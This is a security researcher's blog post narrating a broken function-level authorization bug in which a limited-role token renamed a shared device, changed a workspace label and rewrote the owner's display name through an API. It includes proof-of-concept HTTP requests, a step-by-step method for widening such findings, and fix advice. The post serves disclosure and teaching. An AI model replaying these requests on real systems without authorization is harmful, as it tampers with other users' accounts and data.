December 3, 2026
The 200 That Should Have Been a 403 (And the Two That Followed)
I almost closed the tab.

By Omar Mahmoud
3 min read
One endpoint. One JSON field. HTTP 200. A device name changed from something boring to poc-run-1.
Triage brain said: cosmetic. label. P4 energy.
Then the owner account refreshed the same device.
The name was still poc-run-1.
Server-side. Persisted. Visible to the higher role.
That's when the report stopped being a rename and started being a chase.
Cast
Shared workspace. Shared device. Two roles in the same tenant:
- Owner โ Runs the place. Names the device. Owns the labels.
- Limited member โ Uses the product. Should not redecorate the building.
JWTs carried the role. Some admin doors already slammed with 403 for the limited user. So when one door opened, it wasn't luck โ it was a crack in the wall.
Act 1 โ Prove you're not secretly the boss
Before celebrating any 200, the limited token had to be honest.
Fresh login. Role claim checked. Then the "you should not pass" routes:
POST /v1/.../assets/delete
โ 403
PATCH /v1/.../permissions
โ 403
PATCH /v1/.../workspace/profile
โ 403POST /v1/.../assets/delete
โ 403
PATCH /v1/.../permissions
โ 403
PATCH /v1/.../workspace/profile
โ 403Good. This isn't an admin session wearing a costume. It's a limited user. Everything that follows only matters because of that.
Act 2 โ The "harmless" rename
Request:
POST /v1/.../devices/{deviceId}/details
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"nickname": "poc-run-1"
}POST /v1/.../devices/{deviceId}/details
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"nickname": "poc-run-1"
}Response:
HTTP/1.1 200 OK
{
"nickname": "poc-run-1",
"workspace_label": null
}HTTP/1.1 200 OK
{
"nickname": "poc-run-1",
"workspace_label": null
}Cute. Dangerous-cute.
Owner reads the device:
GET /v1/.../devices/{deviceId}
Authorization: Bearer <OWNER_TOKEN>
{
"device_name": "poc-run-1"
}GET /v1/.../devices/{deviceId}
Authorization: Bearer <OWNER_TOKEN>
{
"device_name": "poc-run-1"
}Not a UI glitch. The limited user just renamed shared infrastructure the owner can see.
Did it again with fresh tokens: poc-run-2, poc-run-3. Same story. Restored the name after each run like a polite burglar who re-locks the door.
Still one field. Still easy for someone to shrug. So the next question wasn't "is this a bug?" โ it was "how wide is the hole?"
Act 3 โ Same door, different key on the keyring
If the handler doesn't check role, it might not care which field you turn.
POST /v1/.../devices/{deviceId}/details
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"workspace_label": "poc-workspace-label"
}
HTTP/1.1 200 OKPOST /v1/.../devices/{deviceId}/details
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"workspace_label": "poc-workspace-label"
}
HTTP/1.1 200 OKOwner side lights up with the new workspace-facing label.
Same endpoint. Second owner-visible surface. The bug isn't "nickname is special." The bug is this write operation trusts the wrong role.
Act 4 โ Leave the device. Try the owner.
Device metadata is one object. The owner's identity is another. Inconsistent auth copies like a virus: one missed @require_owner and suddenly half the furniture moves.
This is usually where the trail dies โ new path, new fear, expected 403.
Instead:
PATCH /v1/.../users/{owner_user_id}
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"display_name": "VERIFY-owner-name-changed"
}
HTTP/1.1 200 OK
{
"display_name": "VERIFY-owner-name-changed"
}PATCH /v1/.../users/{owner_user_id}
Authorization: Bearer <LIMITED_TOKEN>
Content-Type: application/json
{
"display_name": "VERIFY-owner-name-changed"
}
HTTP/1.1 200 OK
{
"display_name": "VERIFY-owner-name-changed"
}Owner lists users:
GET /v1/.../users
Authorization: Bearer <OWNER_TOKEN>GET /v1/.../users
Authorization: Bearer <OWNER_TOKEN>Their own display name is now whatever the limited user typed.
That's the scene where the music changes.
Not "member renamed a gadget." Limited role rewrote owner identity inside the tenant.
And the same token still got 403 on permissions, deletes, and workspace profile. Not full admin โ just the wrong doors left unlocked.
Scoreboard
- Move 1 โ Device name โ owner sees it: Yes
- Move 2 โ Workspace display label โ owner sees it: Yes
- Move 3 โ Owner's display name โ owner sees it: Yes
All three reproduced. All restored after. No cross-tenant access claimed. No token forgery. No "I found admin credentials."
Just Broken Function Level Authorization โ vertical privilege escalation with a straight face.
Why the first screenshot lies to you
Round 1 looks like a sticker on a laptop. Round 2 proves the sticker machine has no bouncer. Round 3 proves the bouncer is also missing from the owner's name tag drawer.
Programs that say "limited account performing an owner action via API" map this higher for a reason. You only earn that mapping if you don't stop at the sticker.
The pattern
- Confirm limited role with real 403s
- Find a write that returns 200
- Verify on an owner read (not just the UI)
- Replay with fresh tokens
- Widen fields on the same handler
- Step to adjacent owner resources
- Keep the 403s in the report so nobody says "you were admin"
Fix it like you mean it
- Owner/admin only on device-details and user profile writes
- Same rule as the routes that already return 403
- Tests: limited โ 403, owner โ 200, every field you care about
- Hunt siblings under the same API prefix โ copy-paste auth gaps travel in packs
Curtain
The interesting bugs don't always announce themselves with RCE fireworks.
Sometimes they say 200 OK on a rename and wait to see if you're bored enough to leave.
I almost was.
Three requests later, a limited user had renamed the device, relabeled the workspace, and rewritten the owner's name โ while every "serious" admin route still said 403.
That's not a cosmetic issue. That's a missing role check with main-character energy.